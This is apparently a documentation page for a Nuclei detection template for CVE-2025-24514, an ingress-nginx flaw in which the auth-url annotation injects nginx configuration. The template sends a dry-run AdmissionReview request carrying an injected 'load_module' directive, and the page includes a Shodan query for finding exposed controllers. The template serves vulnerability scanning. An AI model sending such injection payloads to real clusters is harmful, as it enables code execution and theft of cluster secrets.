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Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-url` Annotation

ID: CVE-2025-24514

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s

Description

Section titled “Description”

A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the auth-url Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)

YAML Source

Section titled “YAML Source”
id: CVE-2025-24514


info:
  name: Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-url` Annotation
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-url` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  reference:
    - https://github.com/kubernetes/kubernetes/issues/131006
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24514
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-24514
    cwe-id: CWE-20
    epss-score: 0.00224
    epss-percentile: 0.42238
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "test-{{randstr}}",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {


            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "test-{{randstr}}",
                "namespace": "default",
                "creationTimestamp": null,
                "annotations": {
        "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "{{randstr}}",
                    "http": {
                      "paths": [
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }


    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'directive is not allowed here'
          - 'load_module'
        condition: and
# digest: 4a0a004730450220233dec9463f3e13ae09c0039cd6d4a76cd0df91c33b47ba1082d38ed5899acd4022100f860db4401245a3078deca14d3abb75ce6a3255078ae846e77e496c58f19fc7e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-24514.yaml"

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